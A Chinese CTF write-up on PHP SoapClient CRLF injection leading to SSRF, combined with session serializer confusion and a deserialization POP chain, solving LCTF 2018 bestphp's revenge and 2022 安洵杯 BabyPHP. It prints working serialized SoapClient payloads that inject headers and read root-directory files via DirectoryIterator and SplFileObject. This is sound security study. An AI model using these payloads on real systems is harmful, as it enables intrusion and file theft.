• 从2022安洵杯[babyPHP]看Soap+CLRF造成SSRF漏洞


    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

    目录

    前言

    一、PHP SOAP

    二、漏洞成因

    三、 题目知识准备

    1、PHP Session反序列化

             2、题目相关函数

    四、[LCTF 2018]bestphp's revenge

    五、2022安洵杯 BabyPHP


    前言

    提示:这里可以添加本文要记录的大概内容:

    今天有一位学弟在安洵杯结束后,发了安洵杯babyPHP的题目跟我探讨,自己看了一下,发现也确实没有碰到过,但是在网上搜到了相应的CTF例题,所以研究了一下,写个总结。


    提示:以下是本篇文章正文内容,下面案例可供参考

    一、PHP SOAP

    SOAP是WebService三要素之一,SOAP称为简单对象访问协议,是连接Web服务或客户端和Web服务器之间的接口。采用的是XML作为数据传送格式,HTTP为底层通讯协议。

    在PHP中,SOAP扩展有几个类,本次用到的主要是SoapClient类,解释如下:

    public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

    第一个参数指明是否为wsdl模式,NULL为非wsdl模式,非wsdl模式下进行反序列化的时候会对第二个参数中的url和locaition进行远程soap请求。

    第二个参数是数组,表示soap请求的一些参数和属性。

    在PHP中,要使用SoapClient,需要在php.ini中开启PHP扩展

                    

    二、漏洞成因

    1、在原生的PHP SoapClient类中,存在__call魔术方法,当调用不存在的方法时候会自动调用此方法,对location中的URL进行请求,先来看一下。

    1. $target = "http://192.168.23.137:5555";
    2. $attack = new SoapClient(null,array('location' => $target,
    3. 'user_agent' => "aiwin",
    4. 'uri' => "123"));
    5. $payload = serialize($attack);
    6. echo $payload;
    7. $c=unserialize($payload);
    8. $c->not_function();

     可以看到Soap利用HTTP协议传输,传输的数据格式的XML。

     重要的是可以看到发送的请求中,uri参数和user_agent参数可控,可以自定义发送soap请求的值,在HTTP请求中,我们知道每一个头部属性值都是通过\r\n换行进行间隔,那么原生Soap就可以通过user_agent通过注入\r\n恶意的换行注入Cookie或者一些其它属性代码,造成CRLF注入。

    1. $target = "http://192.168.23.137:5555";
    2. $attack = new SoapClient(null,array('location' => $target,
    3. 'user_agent' => "aiwin\r\nCookie: PHPSESSID=123456\r\n",
    4. 'uri' => "123"));
    5. $payload = serialize($attack);
    6. echo $payload;
    7. $c=unserialize($payload);
    8. $c->not_function();

     可以看到,恶意注入了Cookie会话,CRLF确实可行。

    三、 题目知识准备

    1、PHP Session反序列化

    在php session中,存在一部分参数规定关于session的操作。

     session.save_handler 表示session的保存形式是file。

     session.save_path 表示session的保存路径,一般linux在/tmp/sess_id。

     session.serialize_handler 表示session序列化的存储器,默认的php,还有php_serialize、php_binary。

    session.upload_progress_cleanup表示读取了数据后,会立即清除掉session的进度信息。

    session.upload_progress_enable表示upload_progress功能启动,即浏览器向服务器上传文件时,php会把此次文件上传的详细信息存储在session中。

    session.upload_progress中的prefix 和 name 两项用来设置进度信息在session中存储的变量名/键名。

    session.use_strict_mode中的值为off,表示Cookie中的sessionid可控。

     关于三种处理器的区别:

    处理器为php时,session的内容是键名+竖线+经过序列化函数后反序列化的值,如name|s:5:"aiwin";

    处理器为php_serialize  内容是ASCII字符+键名+序列化函数后反序列化的值,如a:1:{s:4:"name";s:5:"aiwin";}

    处理器为php_binary 内容是经过序列化后反序列化的数组,如 二进制字符names:5:"aiwin";

    那么当session反序列化和序列化的时候使用不同的引擎,即可触发错误,比如,$_SESSION['test'] = '|aiwin',用php_serialize得到的内容为,a:1:{s:4:”name”;s:6:”|aiwin”;},

    使用php引擎时,|是分隔符,所以aiwin被当成了值传入了$_SESSION。

    2、题目相关函数

    (1)call_user_func($value1,$value2)

    把第一个参数作为回调函数调用。

    1. class test{
    2. static function hello(){
    3. echo "hello!\n";
    4. }
    5. }
    6. $test=new test();
    7. call_user_func(array($test,'hello'));
    8. 输出:hello

     (2)extract函数:

    从数组中将变量导入到当前的符号表。

    该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

    1. $a = "Original";
    2. $test = array("a" => "test", "b" => "Aiwin");
    3. extract($test);
    4. echo "$a=$a"
    5. ?>
    6. 输出:test=test

     (3)PHP的一些原生类

    DirectoryIteratory原生类,可以遍历目录,也可以联合glob://协议一起用,可以使用通配符

    1. $dir = new DirectoryIterator(dirname(__FILE__));
    2. foreach ($dir as $file){
    3. echo $dir;
    4. }
    5. 输出当前目录下的文件

    GlobIterator原生类,与上面类似,不同的是自带了glob协议。 

    SplFileObject原生类,可以用于读取文件的内容,一般只读取一行,全部读取需要遍历

    1. $context = new SplFileObject('flag');
    2. echo $context;
    3. 输出:flag的文件内容

    还有一些原生类这里没用到,就不进行介绍了。 

    以下例题注意点:自身new SoapClient的PHP版本要为7的版本,开始用的8的版本发现不行,因为PHP8进行new SoapClient生成的东西会比7多很多属性值。

    四、[LCTF 2018]bestphp's revenge

    题目源码:

    1. highlight_file(__FILE__);
    2. $b = 'implode';
    3. call_user_func($_GET['f'], $_POST);
    4. session_start();
    5. if (isset($_GET['name'])) {
    6. $_SESSION['name'] = $_GET['name'];
    7. }
    8. var_dump($_SESSION);
    9. $a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
    10. call_user_func($b, $a);
    11. ?>

    题目说明了flag在flag.php中,利用上面的知识进行做题,首先需要更改handler的引擎为php_serialize,这里存在call_user_func,PHP版本号为7.0+,可以通过call_user_func调用session_start()更好引擎,然后传入构造的new SoapClient的序列化值,然后再通过变量覆盖掉$b,使SoapClient访问不存在的方法welcome_to_the_lctf2018从而访问location中的flag.php,返回flag的值。

    1. $target='http://127.0.0.1/flag.php';
    2. $b = new SoapClient(null,array('location' => $target,
    3. 'user_agent' => "aiwin\r\nCookie:PHPSESSID=123456\r\n",
    4. 'uri' => "http://127.0.0.1/"));
    5. $se = serialize($b);
    6. echo "|".urlencode($se);

     

    这里通过变量覆盖,覆盖掉b的值,b=call_user_func后call_user_func($b,$a)就变成了call_user_func("call_user_func",array("SoapClient","Welcome_to_the_ctf..."))使SoapClient调用了call_user_func。

     

    这里需要|的原因是因为之前所说的引擎不同造成的漏洞,使用php_serialize引擎序列化后,程序加载session的时候,使用的是php引擎处理,|后的内容就是键值,这样就成功序列化了一个SoapClient对象。 

    五、2022安洵杯 BabyPHP

    1. //something in flag.php
    2. class A
    3. {
    4. public $a;
    5. public $b;
    6. public function __wakeup()
    7. {
    8. $this->a = "babyhacker";
    9. }
    10. public function __invoke()
    11. {
    12. if (isset($this->a) && $this->a == md5($this->a)) {
    13. $this->b->uwant();
    14. }
    15. }
    16. }
    17. class B
    18. {
    19. public $a;
    20. public $b;
    21. public $k;
    22. function __destruct()
    23. {
    24. $this->b = $this->k;
    25. die($this->a);
    26. }
    27. }
    28. class C
    29. {
    30. public $a;
    31. public $c;
    32. public function __toString()
    33. {
    34. $cc = $this->c;
    35. return $cc();
    36. }
    37. public function uwant()
    38. {
    39. if ($this->a == "phpinfo") {
    40. phpinfo();
    41. } else {
    42. call_user_func(array(reset($_SESSION), $this->a));
    43. }
    44. }
    45. }
    46. if (isset($_GET['d0g3'])) {
    47. ini_set($_GET['baby'], $_GET['d0g3']);
    48. session_start();
    49. $_SESSION['sess'] = $_POST['sess'];
    50. }
    51. else{
    52. session_start();
    53. if (isset($_POST["pop"])) {
    54. unserialize($_POST["pop"]);
    55. }
    56. }
    57. var_dump($_SESSION);
    58. highlight_file(__FILE__);

     有一段反序列化,Pop链为B::__toString->A::__invoke()->C::uwant(),绕过A类直接增加A的个数即可,弱相等,绕过md5可以使用科学计数法。

    1. class A{
    2. public $a='0e215962017';
    3. public $b;
    4. }
    5. class B{
    6. public $a;
    7. public $b;
    8. public $k;
    9. }
    10. class C{
    11. public $a='phpinfo';
    12. public $c;
    13. }
    14. $a=new B;
    15. $a->a=new C;
    16. $a->a->c=new A;
    17. $a->a->c->b=new C;
    18. echo serialize($a);

     传入pop可以查看到phpinfo()

     其实知道是SoapClient造成SSRF,不看phpinfo()也可以。

    提示有flag.php,查看flag.php的代码:

    1. session_start();
    2. highlight_file(__FILE__);
    3. //flag在根目录下
    4. if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1") {
    5. $f1ag = implode(array(new $_GET['a']($_GET['b'])));
    6. $_SESSION["F1AG"] = $f1ag;
    7. } else {
    8. echo "only localhost!!";
    9. }
    10. only localhost!!

    这里提示flag在根目录下, $f1ag = implode(array(new $_GET['a']($_GET['b'])));使new出来的原生类能够拼接起来,所以可以通过SSRF访问flag.php并且传入a和b参数的属性为DirectoryIterator原生类联合glob先读取flag的文件名。

    1. $target = 'http://127.0.0.1/flag.php?a=DirectoryIterator&b=glob:///f*';
    2. $b = new SoapClient(null, array('location' => $target,
    3. 'user_agent' => "aiwin1\r\nCookie:PHPSESSID=aiwin1\r\n",
    4. 'uri' => "http://127.0.0.1/"));
    5. $a = serialize($b);
    6. echo "|" . urlencode($a);

    解题和上面一样,先更改引擎,这里有ini_set(),可以直接利用更改引擎。

     然后传入反序列的Pop链,使用链条进入call_user_func,触发SoapClient的__call方法

    知道了flag的文件名是f111llllllllaagg,然后再通过SplFileObject原生类读取flag。

    1. $target = 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg';
    2. $b = new SoapClient(null, array('location' => $target,
    3. 'user_agent' => "aiwin1\r\nCookie:PHPSESSID=aiwin1\r\n",
    4. 'uri' => "http://127.0.0.1/"));
    5. $a = serialize($b);
    6. echo "|" . urlencode($a);

     按照相等步骤传入即可读到flag


    总结

    漏洞理解起来不算很难,但是从看例题然后解这道安洵杯,还是花费了好多时间,但是也收获了不少,长了不少知识。

  • 相关阅读:
    React之事件机制与事件绑定
    Go基础4
    音频(六)——理解 dB
    【Oracle】Navicat Premium 连接 Oracle的两种方式
    FLinkCDC
    【MySQL】基于Docker搭建MySQL一主二从集群
    CentOS7命令
    0基础学python,给大家首推这些书!
    【运维日常】华为云专线实现idc通过nat出网
    norflash 中块和扇区的关系
  • 原文地址:https://blog.csdn.net/weixin_53090346/article/details/128085938